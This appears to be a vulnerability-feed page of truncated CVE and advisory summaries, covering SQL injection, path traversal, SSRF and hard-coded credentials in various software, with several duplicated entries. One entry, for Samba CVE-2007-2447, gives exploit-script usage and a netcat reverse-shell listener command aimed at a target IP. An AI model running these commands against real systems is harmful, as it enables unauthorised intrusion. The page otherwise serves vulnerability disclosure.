CVE-2026-109152

A path traversal vulnerability exists in the SCP Receive Handler component of jbardin scp.py (versions up to 0.16.1 ). The flaw is located within the _recv_file and _recv_pushd functions, where improper path manipulation allows for remote exploitation. To resolve this issue, users should upgrade ...

CVE-2007-2447

CVE-2007-2447 Samba 3.0.20 CVE-2007-2447 Exploit python3 smb3.0.20exp.py -lh localhost -lp local port -t target Create a Netcat listener nc -nlvp 4444 Run the script python3 smb3.0.20exp.py -lh 10.10.16.18 -lp 4444 -t 10.10.10.3...

CVE-2026-108968 SourceCodester Performance Indicator System sales_history.php sql injection

A weakness has been identified in SourceCodester Performance Indicator System 1.0. The affected element is an unknown function of the file /opils/staff/saleshistory.php. This manipulation of the argument ID causes sql injection. Remote exploitation of the attack is possible. The exploit has been...

EUVD-2026-98266

A security flaw has been discovered in TinyLLaVA TinyLLaVAFactory up to 1abc6ac5e76a68d0fd087a071b56da968e69ca9b. The impacted element is the function loadtextconfig of the file tinyllava/model/configurationtinyllava.py of the component TinyLlavaConfig. Performing a manipulation of the argument...

PT-2026-111623

Name of the Vulnerable Software and Affected Versions girishsaraf Online-Appointment-Booking-System versions up to f427b4757128ca253d33d0cc4e87bbb9c999a4d5 Description An issue exists in the Admin CRUD Endpoint within the file Admin/deleteclinic.php. Manipulation of the cid/did arguments allows f...

CVE-2026-108894

A security flaw has been discovered in Linksys E1700 1.0.0.4.003. Impacted is the function addStaticRoute of the file /goform/addStaticRoute of the component Static Route Handler. Performing a manipulation of the argument...

EUVD-2026-97436

A security flaw has been discovered in Linksys E1700 1.0.0.4.003. Impacted is the function addStaticRoute of the file /goform/addStaticRoute of the component Static Route Handler. Performing a manipulation of the argument...

CVE-2026-108819

A security flaw has been discovered in agno-agi agno up to 3.0.6/3.1.1. This vulnerability affects the function exec of the component Agent Orchestration Layer. Performing a manipulation of the argument code results in dynamically-managed code resources. Remote exploitation of the attack is...

CVE-2026-108819 agno-agi agno Agent Orchestration Layer exec dynamically-managed code resources

A security flaw has been discovered in agno-agi agno up to 3.0.6/3.1.1. This vulnerability affects the function exec of the component Agent Orchestration Layer. Performing a manipulation of the argument code results in dynamically-managed code resources. Remote exploitation of the attack is...

CVE-2026-108809

A vulnerability was identified in Eleveo Call Recording Software up to 10.3.0. This issue affects some unknown processing of the file /auth/realms/default/protocol/openid-connect/logout. The manipulation leads to session expiration. Remote exploitation of the attack is possible. The exploit is...

EUVD-2026-97262

A vulnerability was identified in Eleveo Call Recording Software up to 10.3.0. This issue affects some unknown processing of the file /auth/realms/default/protocol/openid-connect/logout. The manipulation leads to session expiration. Remote exploitation of the attack is possible. The exploit is...

CVE-2026-108809

Eleveo Call Recording Software versions up to 10.3.0 is affected by a vulnerability related to the insufficient session expiration (CWE-613). The issue stems from unknown processing of the file /auth/realms/default/protocol/openid-connect/logout , where manipulation can lead to unintended session...

CVE-2026-108787 houtini-ai voice-analyser-mcp collect_corpus crawler.ts fetch server-side request forgery

A vulnerability was found in houtini-ai voice-analyser-mcp up to 2.1.1. The affected element is the function fetch of the file src/utils/crawler.ts of the component collectcorpus. Performing a manipulation of the argument sitemapurl results in server-side request forgery. Remote exploitation of t...

CVE-2026-108819: Improper Control of Dynamically-Managed Code Resources

A security flaw has been discovered in agno-agi agno up to 3.0.6/3.1.1. This vulnerability affects the function exec of the component Agent Orchestration Layer. Performing a manipulation of the argument code results in dynamically-managed code resources. Remote exploitation of the attack is...

CVE-2016-2233

CVE-2016-2233 CVE-2016-2233 is a stack-based buffer overflow vulnerability related with a wide-used IRC software Hexchat. We build a IRC server and launch the attack on it to make all the client connected to the server crash. We exploited our attack on Ubuntu 12.04 using Python. We make a patch t...

CVE-2026-108584

A security flaw has been discovered in FunnyWolf Viper up to 3.1.11. The affected element is an unknown function of the file /root/viper/.git/config. Performing a manipulation results in hard-coded credentials. Remote exploitation of the attack is possible. The exploit has been released to the...

CVE-2026-108584

A security flaw in FunnyWolf Viper (up to version 3.1.11 ) allows for the disclosure of hard-coded credentials . The vulnerability stems from an unknown function within the file /root/viper/.git/config, where specific manipulation can trigger the leak. Remote exploitation is possible, and an expl...

CVE-2026-108584 FunnyWolf Viper config hard-coded credentials

A security flaw has been discovered in FunnyWolf Viper up to 3.1.11. The affected element is an unknown function of the file /root/viper/.git/config. Performing a manipulation results in hard-coded credentials. Remote exploitation of the attack is possible. The exploit has been released to the...

CVE-2026-108584: Use of Hard-coded Credentials

A security flaw has been discovered in FunnyWolf Viper up to 3.1.11. The affected element is an unknown function of the file /root/viper/.git/config. Performing a manipulation results in hard-coded credentials. Remote exploitation of the attack is possible. The exploit has been released to the...

PT-2026-110163

Name of the Vulnerable Software and Affected Versions FunnyWolf Viper versions prior to 3.1.12 Description A security flaw exists in the file /root/viper/.git/config where a manipulation of an unknown function allows for the exposure of hard-coded credentials. This issue enables remote...